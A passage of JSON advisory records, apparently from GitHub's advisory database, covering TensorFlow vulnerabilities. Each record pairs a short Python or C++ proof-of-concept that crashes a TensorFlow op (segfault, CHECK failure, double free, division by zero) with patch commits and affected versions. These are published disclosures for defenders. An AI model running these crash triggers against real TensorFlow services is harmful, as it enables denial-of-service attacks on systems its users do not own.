tf\n\ntf.raw_ops.SplitV(\n  value=tf.constant([]),\n  size_splits=[-1, -2]\n  ,axis=0,\n  num_split=2)\n``` \n  \nThis occurs whenever `size_splits` contains more than one value and at least one value is negative.\n  \n### Patches \nWe have patched the issue in GitHub commit [25d622ffc432acc736b14ca3904177579e733cc6](https://github.com/tensorflow/tensorflow/commit/25d622ffc432acc736b14ca3904177579e733cc6).\n\nThe fix will be included in TensorFlow 2.7.0. We will also cherrypick this commit on TensorFlow 2.6.1, TensorFlow 2.5.2, and TensorFlow 2.4.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by members of the Aivul Team from Qihoo 360.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2021-11-10T18:48:15.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":6.8,"cvss_vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","references":["https://github.com/tensorflow/tensorflow/security/advisories/GHSA-cpf4-wx82-gxp6","https://nvd.nist.gov/vuln/detail/CVE-2021-41222","https://github.com/tensorflow/tensorflow/commit/25d622ffc432acc736b14ca3904177579e733cc6","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2021-631.yaml","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2021-829.yaml","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2021-414.yaml","https://github.com/advisories/GHSA-cpf4-wx82-gxp6"],"source_kind":"github","identifiers":["GHSA-cpf4-wx82-gxp6","CVE-2021-41222"],"repository_url":"https://github.com/tensorflow/tensorflow","blast_radius":33.100981977951726,"packages":[{"versions":[{"first_patched_version":"2.4.4","vulnerable_version_range":"\u003c 2.4.4"},{"first_patched_version":"2.5.2","vulnerable_version_range":"\u003e= 2.5.0, \u003c 2.5.2"},{"first_patched_version":"2.6.1","vulnerable_version_range":"\u003e= 2.6.0, \u003c 2.6.1"}],"ecosystem":"pypi","package_name":"tensorflow-gpu"},{"versions":[{"first_patched_version":"2.4.4","vulnerable_version_range":"\u003c 2.4.4"},{"first_patched_version":"2.5.2","vulnerable_version_range":"\u003e= 2.5.0, \u003c 2.5.2"},{"first_patched_version":"2.6.1","vulnerable_version_range":"\u003e= 2.6.0, \u003c 2.6.1"}],"ecosystem":"pypi","package_name":"tensorflow-cpu"},{"versions":[{"first_patched_version":"2.4.4","vulnerable_version_range":"\u003c 2.4.4"},{"first_patched_version":"2.5.2","vulnerable_version_range":"\u003e= 2.5.0, \u003c 2.5.2"},{"first_patched_version":"2.6.1","vulnerable_version_range":"\u003e= 2.6.0, \u003c 2.6.1"}],"ecosystem":"pypi","package_name":"tensorflow"}],"created_at":"2022-12-21T16:12:43.528Z","updated_at":"2024-11-13T21:59:51.000Z","epss_percentage":0.00017,"epss_percentile":0.02794},{"uuid":"GSA_kwCzR0hTQS13cTZxLTZtMzItOXJ2Oc4AAu2l","url":"https://github.com/advisories/GHSA-wq6q-6m32-9rv9","title":"TensorFlow vulnerable to `CHECK` fail in `SetSize`","description":"### Impact\nWhen `SetSize` receives an input `set_shape` that is not a 1D tensor, it gives a `CHECK` fails that can be used to trigger a denial of service attack.\n```python\nimport tensorflow as tf\narg_0=1\narg_1=[1,1]\narg_2=1\narg_3=True\narg_4=''\ntf.raw_ops.SetSize(set_indices=arg_0, set_values=arg_1, set_shape=arg_2,\n                   validate_indices=arg_3, name=arg_4)\n```\n\n### Patches\nWe have patched the issue in GitHub commit [cf70b79d2662c0d3c6af74583641e345fc939467](https://github.com/tensorflow/tensorflow/commit/cf70b79d2662c0d3c6af74583641e345fc939467).\n\nThe fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range.\n\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n\n### Attribution\nThis vulnerability has been reported by 刘力源, Information System \u0026 Security and Countermeasures Experiments Center, Beijing Institute of Technology.\n","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2022-09-16T22:14:09.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":0.0,"cvss_vector":null,"references":["https://github.com/tensorflow/tensorflow/security/advisories/GHSA-wq6q-6m32-9rv9","https://github.com/tensorflow/tensorflow/commit/cf70b79d2662c0d3c6af74583641e345fc939467","https://github.com/tensorflow/tensorflow/releases/tag/v2.10.0","https://nvd.nist.gov/vuln/detail/CVE-2022-35993","https://github.com/advisories/GHSA-wq6q-6m32-9rv9"],"source_kind":"github","identifiers":["GHSA-wq6q-6m32-9rv9","CVE-2022-35993"],"repository_url":"https://github.com/tensorflow/tensorflow","blast_radius":0.0,"packages":[{"versions":[{"first_patched_version":"2.9.1","vulnerable_version_range":"\u003e= 2.9.0, \u003c 2.9.1"},{"first_patched_version":"2.8.1","vulnerable_version_range":"\u003e= 2.8.0, \u003c 2.8.1"},{"first_patched_version":"2.7.2","vulnerable_version_range":"\u003c 2.7.2"}],"ecosystem":"pypi","package_name":"tensorflow-gpu"},{"versions":[{"first_patched_version":"2.9.1","vulnerable_version_range":"\u003e= 2.9.0, \u003c 2.9.1"},{"first_patched_version":"2.8.1","vulnerable_version_range":"\u003e= 2.8.0, \u003c 2.8.1"},{"first_patched_version":"2.7.2","vulnerable_version_range":"\u003c 2.7.2"}],"ecosystem":"pypi","package_name":"tensorflow-cpu"},{"versions":[{"first_patched_version":"2.9.1","vulnerable_version_range":"\u003e= 2.9.0, \u003c 2.9.1"},{"first_patched_version":"2.8.1","vulnerable_version_range":"\u003e= 2.8.0, \u003c 2.8.1"},{"first_patched_version":"2.7.2","vulnerable_version_range":"\u003c 2.7.2"}],"ecosystem":"pypi","package_name":"tensorflow"}],"created_at":"2022-12-21T16:11:58.077Z","updated_at":"2023-01-28T05:03:11.000Z","epss_percentage":0.00202,"epss_percentile":0.42687},{"uuid":"GSA_kwCzR0hTQS1mN3I1LXE3Y3gtaDY2OM4AAu2k","url":"https://github.com/advisories/GHSA-f7r5-q7cx-h668","title":"TensorFlow vulnerable to segfault in `BlockLSTMGradV2`","description":"### Impact\nThe implementation of `BlockLSTMGradV2` does not fully validate its inputs.\n - `wci`, `wcf`, `wco`, `b` must be rank 1\n - `w`, cs_prev`, `h_prev` must be rank 2\n - `x` must be rank 3\nThis results in a a segfault that can be used to trigger a denial of service attack.\n```python\nimport tensorflow as tf\n\nuse_peephole = False\nseq_len_max = tf.constant(1, shape=[], dtype=tf.int64)\nx = tf.constant(0.504355371, shape=[1,1,1], dtype=tf.float32)\ncs_prev = tf.constant(0.504355371, shape=[1,1,1], dtype=tf.float32)\nh_prev = tf.constant(0.504355371, shape=[1,1,1], dtype=tf.float32)\nw = tf.constant(0.504355371, shape=[1,1,1], dtype=tf.float32)\nwci = tf.constant(0.504355371, shape=[1,1,1], dtype=tf.float32)\nwcf = tf.constant(0.504355371, shape=[1,1,1], dtype=tf.float32)\nwco = tf.constant(0.504355371, shape=[1,1,1], dtype=tf.float32)\nb = tf.constant(0.504355371, shape=[1,1,1], dtype=tf.float32)\ni = tf.constant(0.504355371, shape=[1,1,1], dtype=tf.float32)\ncs = tf.constant(0.504355371, shape=[1,1,1], dtype=tf.float32)\nf = tf.constant(0.504355371, shape=[1,1,1], dtype=tf.float32)\no = tf.constant(0.504355371, shape=[1,1,1], dtype=tf.float32)\nci = tf.constant(0.504355371, shape=[1,1,1], dtype=tf.float32)\nco = tf.constant(0.504355371, shape=[1,1,1], dtype=tf.float32)\nh = tf.constant(0.504355371, shape=[1,1,1], dtype=tf.float32)\ncs_grad = tf.constant(0.504355371, shape=[1,1,1], dtype=tf.float32)\nh_grad = tf.constant(0.504355371, shape=[1,1,1], dtype=tf.float32)\ntf.raw_ops.BlockLSTMGradV2(seq_len_max=seq_len_max, x=x, cs_prev=cs_prev, h_prev=h_prev, w=w, wci=wci, wcf=wcf, wco=wco, b=b, i=i, cs=cs, f=f, o=o, ci=ci, co=co, h=h, cs_grad=cs_grad, h_grad=h_grad, use_peephole=use_peephole)\n```\n\n### Patches\nWe have patched the issue in GitHub commit [2a458fc4866505be27c62f81474ecb2b870498fa](https://github.com/tensorflow/tensorflow/commit/2a458fc4866505be27c62f81474ecb2b870498fa).\n\nThe fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range.\n\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n\n### Attribution\nThis vulnerability has been reported by Neophytos Christou, Secure Systems Labs, Brown University.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2022-09-16T22:14:00.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":0.0,"cvss_vector":null,"references":["https://github.com/tensorflow/tensorflow/security/advisories/GHSA-f7r5-q7cx-h668","https://github.com/tensorflow/tensorflow/commit/2a458fc4866505be27c62f81474ecb2b870498fa","https://github.com/tensorflow/tensorflow/releases/tag/v2.10.0","https://nvd.nist.gov/vuln/detail/CVE-2022-35964","https://github.com/advisories/GHSA-f7r5-q7cx-h668"],"source_kind":"github","identifiers":["GHSA-f7r5-q7cx-h668","CVE-2022-35964"],"repository_url":"https://github.com/tensorflow/tensorflow","blast_radius":0.0,"packages":[{"versions":[{"first_patched_version":"2.9.1","vulnerable_version_range":"\u003e= 2.9.0, \u003c 2.9.1"},{"first_patched_version":"2.8.1","vulnerable_version_range":"\u003e= 2.8.0, \u003c 2.8.1"},{"first_patched_version":"2.7.2","vulnerable_version_range":"\u003c 2.7.2"}],"ecosystem":"pypi","package_name":"tensorflow-gpu"},{"versions":[{"first_patched_version":"2.9.1","vulnerable_version_range":"\u003e= 2.9.0, \u003c 2.9.1"},{"first_patched_version":"2.8.1","vulnerable_version_range":"\u003e= 2.8.0, \u003c 2.8.1"},{"first_patched_version":"2.7.2","vulnerable_version_range":"\u003c 2.7.2"}],"ecosystem":"pypi","package_name":"tensorflow-cpu"},{"versions":[{"first_patched_version":"2.9.1","vulnerable_version_range":"\u003e= 2.9.0, \u003c 2.9.1"},{"first_patched_version":"2.8.1","vulnerable_version_range":"\u003e= 2.8.0, \u003c 2.8.1"},{"first_patched_version":"2.7.2","vulnerable_version_range":"\u003c 2.7.2"}],"ecosystem":"pypi","package_name":"tensorflow"}],"created_at":"2022-12-21T16:11:58.086Z","updated_at":"2023-01-28T05:03:11.000Z","epss_percentage":0.00112,"epss_percentile":0.30439},{"uuid":"GSA_kwCzR0hTQS14cnAyLWZocTQtNHEzd84AArBX","url":"https://github.com/advisories/GHSA-xrp2-fhq4-4q3w","title":"Segfault if `tf.histogram_fixed_width` is called with NaN values in TensorFlow","description":"### Impact\nThe implementation of [`tf.histogram_fixed_width`](https://github.com/tensorflow/tensorflow/blob/f3b9bf4c3c0597563b289c0512e98d4ce81f886e/tensorflow/core/kernels/histogram_op.cc) is vulnerable to a crash when the values array contain `NaN` elements:\n\n```python\nimport tensorflow as tf\nimport numpy as np\n\ntf.histogram_fixed_width(values=np.nan, value_range=[1,2])\n```\n\nThe [implementation](https://github.com/tensorflow/tensorflow/blob/f3b9bf4c3c0597563b289c0512e98d4ce81f886e/tensorflow/core/kernels/histogram_op.cc#L35-L74) assumes that all floating point operations are defined and then converts a floating point result to an integer index:\n\n```cc\nindex_to_bin.device(d) =\n    ((values.cwiseMax(value_range(0)) - values.constant(value_range(0)))\n         .template cast\u003cdouble\u003e() /\n     step)\n        .cwiseMin(nbins_minus_1)\n        .template cast\u003cint32\u003e();\n```\n\nIf `values` contains `NaN` then the result of the division is still `NaN` and the cast to `int32` would result in a crash.\n\nThis only occurs on the CPU implementation.\n\n### Patches\nWe have patched the issue in GitHub commit [e57fd691c7b0fd00ea3bfe43444f30c1969748b5](https://github.com/tensorflow/tensorflow/commit/e57fd691c7b0fd00ea3bfe43444f30c1969748b5).\n\nThe fix will be included in TensorFlow 2.9.0. We will also cherrypick this commit on TensorFlow 2.8.1, TensorFlow 2.7.2, and TensorFlow 2.6.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported externally via a [GitHub issue](https://github.com/tensorflow/tensorflow/issues/45770).","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2022-05-24T22:15:45.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":0.0,"cvss_vector":null,"references":["https://github.com/tensorflow/tensorflow/security/advisories/GHSA-xrp2-fhq4-4q3w","https://nvd.nist.gov/vuln/detail/CVE-2022-29211","https://github.com/tensorflow/tensorflow/issues/45770","https://github.com/tensorflow/tensorflow/commit/e57fd691c7b0fd00ea3bfe43444f30c1969748b5","https://github.com/tensorflow/tensorflow/blob/f3b9bf4c3c0597563b289c0512e98d4ce81f886e/tensorflow/core/kernels/histogram_op.cc","https://github.com/tensorflow/tensorflow/blob/f3b9bf4c3c0597563b289c0512e98d4ce81f886e/tensorflow/core/kernels/histogram_op.cc#L35-L74","https://github.com/tensorflow/tensorflow/releases/tag/v2.6.4","https://github.com/tensorflow/tensorflow/releases/tag/v2.7.2","https://github.com/tensorflow/tensorflow/releases/tag/v2.8.1","https://github.com/tensorflow/tensorflow/releases/tag/v2.9.0","https://github.com/advisories/GHSA-xrp2-fhq4-4q3w"],"source_kind":"github","identifiers":["GHSA-xrp2-fhq4-4q3w","CVE-2022-29211"],"repository_url":"https://github.com/tensorflow/tensorflow","blast_radius":0.0,"packages":[{"versions":[{"first_patched_version":"2.8.1","vulnerable_version_range":"\u003e= 2.8.0, \u003c 2.8.1"},{"first_patched_version":"2.7.2","vulnerable_version_range":"\u003e= 2.7.0, \u003c 2.7.2"},{"first_patched_version":"2.6.4","vulnerable_version_range":"\u003c 2.6.4"}],"ecosystem":"pypi","package_name":"tensorflow-gpu"},{"versions":[{"first_patched_version":"2.8.1","vulnerable_version_range":"\u003e= 2.8.0, \u003c 2.8.1"},{"first_patched_version":"2.7.2","vulnerable_version_range":"\u003e= 2.7.0, \u003c 2.7.2"},{"first_patched_version":"2.6.4","vulnerable_version_range":"\u003c 2.6.4"}],"ecosystem":"pypi","package_name":"tensorflow-cpu"},{"versions":[{"first_patched_version":"2.8.1","vulnerable_version_range":"\u003e= 2.8.0, \u003c 2.8.1"},{"first_patched_version":"2.7.2","vulnerable_version_range":"\u003e= 2.7.0, \u003c 2.7.2"},{"first_patched_version":"2.6.4","vulnerable_version_range":"\u003c 2.6.4"}],"ecosystem":"pypi","package_name":"tensorflow"}],"created_at":"2022-12-21T16:12:23.536Z","updated_at":"2023-01-30T05:05:50.000Z","epss_percentage":0.0008,"epss_percentile":0.24453},{"uuid":"GSA_kwCzR0hTQS14OTg5LXEycHEtNHE1eM4AAu2h","url":"https://github.com/advisories/GHSA-x989-q2pq-4q5x","title":"TensorFlow vulnerable to Int overflow in `RaggedRangeOp`","description":"### Impact\nThe [`RaggedRangOp`](https://github.com/tensorflow/tensorflow/blob/0b6b491d21d6a4eb5fbab1cca565bc1e94ca9543/tensorflow/core/kernels/ragged_range_op.cc#L74-L88) function takes an argument `limits` that is eventually used to construct a `TensorShape` as an `int64`. If `limits` is a very large float, it can overflow when converted to an `int64`. This triggers an `InvalidArgument` but also throws an abort signal that crashes the program.\n```python\nimport tensorflow as tf\ntf.raw_ops.RaggedRange(starts=[1.1,0.1],limits=[10.0,1e20],deltas=[1,1])\n```\n\n### Patches\nWe have patched the issue in GitHub commit [37cefa91bee4eace55715eeef43720b958a01192](https://github.com/tensorflow/tensorflow/commit/37cefa91bee4eace55715eeef43720b958a01192).\n\nThe fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range.\n\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n\n### Attribution\nThis vulnerability has been reported by Jingyi Shi.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2022-09-16T22:12:41.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":0.0,"cvss_vector":null,"references":["https://github.com/tensorflow/tensorflow/security/advisories/GHSA-x989-q2pq-4q5x","https://github.com/tensorflow/tensorflow/commit/37cefa91bee4eace55715eeef43720b958a01192","https://github.com/tensorflow/tensorflow/blob/0b6b491d21d6a4eb5fbab1cca565bc1e94ca9543/tensorflow/core/kernels/ragged_range_op.cc#L74-L88","https://github.com/tensorflow/tensorflow/releases/tag/v2.10.0","https://nvd.nist.gov/vuln/detail/CVE-2022-35940","https://github.com/advisories/GHSA-x989-q2pq-4q5x"],"source_kind":"github","identifiers":["GHSA-x989-q2pq-4q5x","CVE-2022-35940"],"repository_url":"https://github.com/tensorflow/tensorflow","blast_radius":0.0,"packages":[{"versions":[{"first_patched_version":"2.9.1","vulnerable_version_range":"\u003e= 2.9.0, \u003c 2.9.1"},{"first_patched_version":"2.8.1","vulnerable_version_range":"\u003e= 2.8.0, \u003c 2.8.1"},{"first_patched_version":"2.7.2","vulnerable_version_range":"\u003c 2.7.2"}],"ecosystem":"pypi","package_name":"tensorflow-gpu"},{"versions":[{"first_patched_version":"2.9.1","vulnerable_version_range":"\u003e= 2.9.0, \u003c 2.9.1"},{"first_patched_version":"2.8.1","vulnerable_version_range":"\u003e= 2.8.0, \u003c 2.8.1"},{"first_patched_version":"2.7.2","vulnerable_version_range":"\u003c 2.7.2"}],"ecosystem":"pypi","package_name":"tensorflow-cpu"},{"versions":[{"first_patched_version":"2.9.1","vulnerable_version_range":"\u003e= 2.9.0, \u003c 2.9.1"},{"first_patched_version":"2.8.1","vulnerable_version_range":"\u003e= 2.8.0, \u003c 2.8.1"},{"first_patched_version":"2.7.2","vulnerable_version_range":"\u003c 2.7.2"}],"ecosystem":"pypi","package_name":"tensorflow"}],"created_at":"2022-12-21T16:11:58.111Z","updated_at":"2023-01-28T05:03:11.000Z","epss_percentage":0.00254,"epss_percentile":0.48635},{"uuid":"GSA_kwCzR0hTQS1mNDljLTg3amgtZzQ3cc4AAyTz","url":"https://github.com/advisories/GHSA-f49c-87jh-g47q","title":"TensorFlow has double free in Fractional(Max/Avg)Pool","description":"### Impact\n`nn_ops.fractional_avg_pool_v2` and `nn_ops.fractional_max_pool_v2` require the first and fourth elements of their parameter `pooling_ratio` to be equal to 1.0, as pooling on batch and channel dimensions is not supported.\n\n```python\nimport tensorflow as tf\nimport os\nimport numpy as np\nfrom tensorflow.python.ops import nn_ops\ntry:\n  arg_0_tensor = tf.random.uniform([3, 30, 50, 3], dtype=tf.float64)\n  arg_0 = tf.identity(arg_0_tensor)\n  arg_1_0 = 2\n  arg_1_1 = 3\n  arg_1_2 = 1\n  arg_1_3 = 1\n  arg_1 = [arg_1_0,arg_1_1,arg_1_2,arg_1_3,]\n  arg_2 = True\n  arg_3 = True\n  seed = 341261001\n  out = nn_ops.fractional_avg_pool_v2(arg_0,arg_1,arg_2,arg_3,seed=seed,)\nexcept Exception as e:\n  print(\"Error:\"+str(e))\n```\n\n### Patches\nWe have patched the issue in GitHub commit [ee50d1e00f81f62a4517453f721c634bbb478307](https://github.com/tensorflow/tensorflow/commit/ee50d1e00f81f62a4517453f721c634bbb478307).\n\nThe fix will be included in TensorFlow 2.12. We will also cherrypick this commit on TensorFlow 2.11.1.\n\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability was reported by [dmc1778](https://github.com/dmc1778), of [nimashiri2012@gmail.com](mailto:nimashiri2012@gmail.com).\n","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2023-03-24T21:53:49.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":0.0,"cvss_vector":null,"references":["https://github.com/tensorflow/tensorflow/security/advisories/GHSA-f49c-87jh-g47q","https://github.com/tensorflow/tensorflow/commit/ee50d1e00f81f62a4517453f721c634bbb478307","https://nvd.nist.gov/vuln/detail/CVE-2023-25801","https://github.com/advisories/GHSA-f49c-87jh-g47q"],"source_kind":"github","identifiers":["GHSA-f49c-87jh-g47q","CVE-2023-25801"],"repository_url":"https://github.com/tensorflow/tensorflow","blast_radius":0.0,"packages":[{"versions":[{"first_patched_version":"2.11.1","vulnerable_version_range":"\u003c 2.11.1"}],"ecosystem":"pypi","package_name":"tensorflow-gpu"},{"versions":[{"first_patched_version":"2.11.1","vulnerable_version_range":"\u003c 2.11.1"}],"ecosystem":"pypi","package_name":"tensorflow-cpu"},{"versions":[{"first_patched_version":"2.11.1","vulnerable_version_range":"\u003c 2.11.1"}],"ecosystem":"pypi","package_name":"tensorflow"}],"created_at":"2023-03-24T22:03:48.330Z","updated_at":"2023-06-13T15:08:30.000Z","epss_percentage":0.00065,"epss_percentile":0.20413},{"uuid":"MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLTNxZ3ctcDRmbS14N2dm","url":"https://github.com/advisories/GHSA-3qgw-p4fm-x7gf","title":"Division by zero in TFLite's convolution code","description":"### Impact\nTFLite's [convolution code](https://github.com/tensorflow/tensorflow/blob/09c73bca7d648e961dd05898292d91a8322a9d45/tensorflow/lite/kernels/conv.cc) has multiple division where the divisor is controlled by the user and not checked to be non-zero. For example:\n\n```cc \nconst int input_size = NumElements(input) / SizeOfDimension(input, 0);\n```\n\n### Patches\nWe have patched the issue in GitHub commit [ff489d95a9006be080ad14feb378f2b4dac35552](https://github.com/tensorflow/tensorflow/commit/ff489d95a9006be080ad14feb378f2b4dac35552).\n\nThe fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by members of the Aivul Team from Qihoo 360. ","origin":"UNSPECIFIED","severity":"LOW","published_at":"2021-05-21T14:27:45.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":2.0,"cvss_vector":"CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N","references":["https://github.com/tensorflow/tensorflow/security/advisories/GHSA-3qgw-p4fm-x7gf","https://nvd.nist.gov/vuln/detail/CVE-2021-29594","https://github.com/tensorflow/tensorflow/commit/ff489d95a9006be080ad14feb378f2b4dac35552","https://github.com/tensorflow/tensorflow/blob/09c73bca7d648e961dd05898292d91a8322a9d45/tensorflow/lite/kernels/conv.cc","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2021-522.yaml","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2021-720.yaml","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2021-231.yaml","https://github.com/advisories/GHSA-3qgw-p4fm-x7gf"],"source_kind":"github","identifiers":["GHSA-3qgw-p4fm-x7gf","CVE-2021-29594"],"repository_url":"https://github.com/tensorflow/tensorflow","blast_radius":9.735582934691685,"packages":[{"versions":[{"first_patched_version":"2.4.2","vulnerable_version_range":"\u003e= 2.4.0, \u003c 2.4.2"},{"first_patched_version":"2.3.3","vulnerable_version_range":"\u003e= 2.3.0, \u003c 2.3.3"},{"first_patched_version":"2.2.3","vulnerable_version_range":"\u003e= 2.2.0, \u003c 2.2.3"},{"first_patched_version":"2.1.4","vulnerable_version_range":"\u003c 2.1.4"}],"ecosystem":"pypi","package_name":"tensorflow-gpu"},{"versions":[{"first_patched_version":"2.4.2","vulnerable_version_range":"\u003e= 2.4.0, \u003c 2.4.2"},{"first_patched_version":"2.3.3","vulnerable_version_range":"\u003e= 2.3.0, \u003c 2.3.3"},{"first_patched_version":"2.2.3","vulnerable_version_range":"\u003e= 2.2.0, \u003c 2.2.3"},{"first_patched_version":"2.1.4","vulnerable_version_range":"\u003c 2.1.4"}],"ecosystem":"pypi","package_name":"tensorflow-cpu"},{"versions":[{"first_patched_version":"2.4.2","vulnerable_version_range":"\u003e= 2.4.0, \u003c 2.4.2"},{"first_patched_version":"2.3.3","vulnerable_version_range":"\u003e= 2.3.0, \u003c 2.3.3"},{"first_patched_version":"2.2.3","vulnerable_version_range":"\u003e= 2.2.0, \u003c 2.2.3"},{"first_patched_version":"2.1.4","vulnerable_version_range":"\u003c 2.1.4"}],"ecosystem":"pypi","package_name":"tensorflow"}],"created_at":"2022-12-21T16:13:03.293Z","updated_at":"2024-10-31T21:23:24.000Z","epss_percentage":0.00017,"epss_percentile":0.0256},{"uuid":"GSA_kwCzR0hTQS0zNGY5LWhqZnEtcnI4as0obw","url":"https://github.com/advisories/GHSA-34f9-hjfq-rr8j","title":"Overflow and uncaught divide by zero in Tensorflow","description":"### Impact \nThe [implementation of `UnravelIndex`](https://github.com/tensorflow/tensorflow/blob/5100e359aef5c8021f2e71c7b986420b85ce7b3d/tensorflow/core/kernels/unravel_index_op.cc#L36-L135) is vulnerable to a division by zero caused by an integer overflow bug:\n\n```python\nimport tensorflow as tf\n\ntf.raw_ops.UnravelIndex(indices=-0x100000,dims=[0x100000,0x100000])\n```\n\n### Patches\nWe have patched the issue in GitHub commit [58b34c6c8250983948b5a781b426f6aa01fd47af](https://github.com/tensorflow/tensorflow/commit/58b34c6c8250983948b5a781b426f6aa01fd47af).\n    \nThe fix will be included in TensorFlow 2.8.0. We will also cherrypick this commit on TensorFlow 2.7.1, TensorFlow 2.6.3, and TensorFlow 2.5.3, as these are also affected and still in supported range.\n    \n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n    \n### Attribution\nThis vulnerability has been reported by Yu Tian of Qihoo 360 AIVul Team.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2022-02-10T00:18:53.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.1,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","references":["https://github.com/tensorflow/tensorflow/security/advisories/GHSA-34f9-hjfq-rr8j","https://github.com/tensorflow/tensorflow/commit/58b34c6c8250983948b5a781b426f6aa01fd47af","https://github.com/tensorflow/tensorflow/blob/5100e359aef5c8021f2e71c7b986420b85ce7b3d/tensorflow/core/kernels/unravel_index_op.cc#L36-L135","https://nvd.nist.gov/vuln/detail/CVE-2022-21729","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2022-53.yaml","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2022-108.yaml","https://github.com/advisories/GHSA-34f9-hjfq-rr8j"],"source_kind":"github","identifiers":["GHSA-34f9-hjfq-rr8j","CVE-2022-21729"],"repository_url":"https://github.com/tensorflow/tensorflow","blast_radius":34.56131941815548,"packages":[{"versions":[{"first_patched_version":"2.7.1","vulnerable_version_range":"= 2.7.0"},{"first_patched_version":"2.6.3","vulnerable_version_range":"\u003e= 2.6.0, \u003c 2.6.3"},{"first_patched_version":"2.5.3","vulnerable_version_range":"\u003c 2.5.3"}],"ecosystem":"pypi","package_name":"tensorflow-gpu"},{"versions":[{"first_patched_version":"2.7.1","vulnerable_version_range":"= 2.7.0"},{"first_patched_version":"2.6.3","vulnerable_version_range":"\u003e= 2.6.0, \u003c 2.6.3"},{"first_patched_version":"2.5.3","vulnerable_version_range":"\u003c 2.5.3"}],"ecosystem":"pypi","package_name":"tensorflow-cpu"},{"versions":[{"first_patched_version":"2.7.1","vulnerable_version_range":"= 2.7.0"},{"first_patched_version":"2.6.3","vulnerable_version_range":"\u003e= 2.6.0, \u003c 2.6.3"},{"first_patched_version":"2.5.3","vulnerable_version_range":"\u003c 2.5.3"}],"ecosystem":"pypi","package_name":"tensorflow"}],"created_at":"2022-12-21T16:12:37.160Z","updated_at":"2024-11-13T22:11:02.000Z","epss_percentage":0.0022,"epss_percentile":0.44697},{"uuid":"MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLWNmeDctMnhwYy04dzRo","url":"https://github.com/advisories/GHSA-cfx7-2xpc-8w4h","title":"Division by zero in TFLite's implementation of `BatchToSpaceNd`","description":"### Impact\nThe implementation of the `BatchToSpaceNd` TFLite operator is [vulnerable to a division by zero error](https://github.com/tensorflow/tensorflow/blob/b5ed552fe55895aee8bd8b191f744a069957d18d/tensorflow/lite/kernels/batch_to_space_nd.cc#L81-L82):\n\n```cc\nTF_LITE_ENSURE_EQ(context, output_batch_size % block_shape[dim], 0);\noutput_batch_size = output_batch_size / block_shape[dim];\n```\n\nAn attacker can craft a model such that one dimension of the `block` input is 0. Hence, the corresponding value in `block_shape` is 0.\n\n### Patches\nWe have patched the issue in GitHub commit [2c74674348a4708ced58ad6eb1b23354df8ee044](https://github.com/tensorflow/tensorflow/commit/2c74674348a4708ced58ad6eb1b23354df8ee044).\n\nThe fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as 